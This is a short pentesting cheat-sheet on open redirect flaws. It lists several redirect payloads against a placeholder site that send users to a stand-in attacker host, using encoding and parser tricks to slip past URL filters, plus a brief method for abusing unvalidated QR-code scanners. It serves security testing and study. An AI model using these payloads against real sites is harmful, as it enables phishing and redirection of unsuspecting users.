Open Redirect
Last modified: 2023-06-13
Web
It accepts a user-controlled input that specifies a link to an external site and uses that link in a redirect.
Payloads
https://vulnerable.com/example.php?redirectUrl=https://attacker.com/
https://vulnerable.com/example.php?redirectUrl=https:\\attacker.com\
https://vulnerable.com/example.php?redirectUrl=https://attacker.com#.vulnerable.com/
<!-- "%E3%80%82" is "." -->
https://vulnerable.com/example.php?redirectUrl=https://attacker.com%E3%80%82%23.vulnerable.com/
<!-- "%0d" is newline -->
https://vulnerable.com/example.php?redirectUrl=/%0d/attacker.com/
Unrestricted QR Code Scanning
Reference: https://shahjerry33.medium.com/open-redirection-qr-code-magic-18ace1a0170f
If website (or mobile application) has the function for scanning QR code but not restricts URL, we can let it to read malicious QR code.
1. Generate QR Code
First, we need to create a malicious QR code. There are many online tools for generating it.
2. Read Malicious QR Code in the Application
After generating the QR code, read the QR code in the target application.
If the application does not validate the URL, we can access to the malicious URL.